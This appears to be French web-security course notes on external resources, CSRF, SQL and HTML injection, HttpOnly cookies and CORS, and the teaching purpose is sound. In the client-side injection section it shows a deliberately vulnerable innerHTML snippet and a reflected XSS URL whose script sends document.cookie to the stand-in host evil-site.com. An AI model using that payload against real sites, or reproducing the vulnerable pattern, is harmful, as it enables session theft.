image/svg+xml $ $ ing$ ing$ ces$ ces$ Res Res ea ea Res->ea ou ou Res->ou r r ea->r ch ch ea->ch r->ces$ r->ch ch->$ ch->ing$ T T T->ea ou->r

Chargement de ressources sur des domaines externes

Une application web cliente hébergée sur un domaine A peut charger des ressources de sources externes tels que :

Une requête sur un serveur externe implique a minima la connaissance par le serveur externe de certaines informations de l'utilisateur :

Charger du code JavaScript depuis une source externe implique une confiance accordée au site externe, mais :

Du code malveillant externe peut :

En résumé, utiliser des ressources externes :

Appel de l'application web par des sources externes

Actions sans consentement (attaque CSRF)

Principe

Une source externe peut émettre une requête HTTP vers le serveur web réalisant une action spécifique. Si l'utilisateur est déjà authentifié sur le serveur, le client HTTP peut posséder un jeton de session conservé comme cookie. Le cookie est envoyé avec la requête et le serveur réalise l'action demandée sans le consentement de l'utilisateur.

Exemple d'attaque

Site bancaire avec un serveur web supportant les requêtes suivantes :

Un utilisateur préalablement authentifié sur le site bancaire peut ensuite visiter un site malveillant réalisant une requête POST http://bank/make_transfer pour réaliser un virement sur le compte de son choix sans connaissance de l'utilisateur.

Cette requête malveillante peut être réalisée :

Parade

Rajouter un jeton d'authentification à renvoyer dans la requête qui n'a pas été communiqué initialement par l'intermédiaire d'un cookie.

Injection de données malveillantes

Principe

Exemple : injection de code SQL côté serveur

Une application web côté serveur peut utiliser des paramètres communiqués par le client HTTP pour construire une requête SQL permettant de consulter ou mettre à jour une base de données.

Exemple : injection de code HTML côté client

L'attaquant contrôlant le site evil-site veut récupérer les cookies de example (contenant un identifiant de session servant pour l'authentification).

example contient une page hello_world.html affichant un nom communique dans la section query de l'URL :

<p>
	Hello World <span id="name">anonymous</span>
</p>
<script>
	const urlParams = new URLSearchParams(window.location.search);
	let node = document.getElementById("name");
	node.innerHTML = urlParams.get("name");
</script>

evil-site peut contenir un lien hypertexte (ou utiliser une iframe imbriquée dans la page) vers cette URL (laissée non-encodée pour des raisons de lisibilité) :

http://example/hello_world.html?name=foobar <script>document.write("<img src='http://evil-site.com/kitten?cookie=' + document.cookie + ">")</script>

Le paramètre name est utilisé pour injecter du code HTML arbitraire qui peut contenir comme ici du code JavaScript demandant l'affichage d'une image menant à l'émission d'une requête vers evil-site avec les cookies de example.

Une parade dans ce as consiste à remplacer node.innerHTML = par node.innerText = qui permettra d'afficher du texte et pas du code HTML. Si une source externe est censée fournir des balises HTML dans les paramètres, il faut écrire une fonction de filtrage chargée de conserver uniquement les balises sûres (<p>, <b>, <em>) et supprimer de possibles attributs dangereux (javascript: dans un attribut href d'un lien hypertexte).

Prévention de l'usage de document.cookie depuis le client web

Il est possible d'installer un cookie pour un site soit par l'émission d'un en-tête HTTP Set-Cookie par le serveur, soit par du code JavaScript intégré sur une page appelant document.cookie = .... Pour les cookies créés par en-tête HTTP, il est possible d'ajouter le drapeau HttpOnly pour demander au navigateur d'interdire leur accès depuis le code JavaScript :

Set-Cookie: sessionid=xxxx; path=/; HttpOnly

Mécanisme de contrôle d'accès inter-origine (CORS)

Présentation

Le mécanisme de sécurité CORS (Cross Origin Resource Sharing) est implanté par le client HTTP pour empêcher une application web résidant sur un serveur de faire appel à des ressources d'autres serveurs. Ce mécanisme implanté côté client ne prévient pas les attaques d'injection pour lesquelles l'attaquant a toute liberté quant au choix de son client HTTP. CORS présente un intérêt pour limiter les attaques de type CSRF réalisant des actions non souhaitées avec usage de cookies.

Fonctionnement

CORS distingue deux familles de requêtes :

Pour une requête simple, le client HTTP émet directement la requête en ajoutant un en-tête Origin: http://example.com indiquant le site originaire de la requête (ici example.com). Le site est ensuite libre de satisfaire ou non cette requête en fonction de son origine. Si le serveur ne souhaite pas satisfaire la requête, il peut émettre une réponse avec un code de status 403 indiquant que l'accès à la ressource est interdit.

Pour une requête dangereuse, un pré-requête est réalisée pour interroger le serveur. Par exemple si nous souhaitons émettre une requête POST http://other-server/resource avec utilisation de certains en-têtes (X-Auth-Info et Content-Type) le client HTTP émet la pré-requête suivante vers other-server :

OPTIONS /resource HTTP/1.1
Host: other-server
Origin: http://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-Auth-Info, Content-Type

Le serveur externe répond en indiquant les requêtes qu'il tolère, de quelles sources ainsi que les en-têtes supportés :

HTTP/1.1 200 OK
Date: Sun, 15 Sep 2019 01:37:42 GMT
Server: Apache
Access-Control-Allow-Origin: http://example.com
Access-Control-Allow-Methods: POST, GET
Access-Control-Allow-Headers: X-Auth-Info, Content-Type
Access-Control-Max-Age: 86400
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 0
Content-Type: text/plain

Il indique ici qu'il tolère les requêtes de example.com pour les méthodes POST et GET avec les en-têtes précisés. Notons qu'un serveur peut répondre aussi Access-Control-Allow-Origin: * s'il tolère des appels de n'importe quelle origine (cas d'APIs d'accès public). Avec Access-Control-Max-Age la durée de vie de la politique CORS est spécifiée ; le serveur ne sera pas réinterrogé à ce sujet avant l'expiration.

Si l'en-tête Access-Control-Allow-Origin ne contient pas le site d'origine de la requête (ou *), alors le client HTTP refusera d'émettre la requête.

Test de pages web depuis file://

Les version récentes de navigateurs web considérent que les pages HTML résidant sur le système de fichier local ne peuvent pas émettre de requêtes permettant de charger d'autres fichiers en tant que modules JavaScript ou de communiquer avec un serveur web externe.

Pour tester des pages HTML locales réalisant de telles actions, il est nécessaire de les héberger sur un serveur web. On pourra par exemple utiliser le serveur web de la bibliothèque standard Python avec la commande suivante exécutée dans le répertoire à servir :

python3 -m http.server 8080

On pourra ensuite se rendre à l'URL http://localhost:8080 pour consulter les pages du répertoire.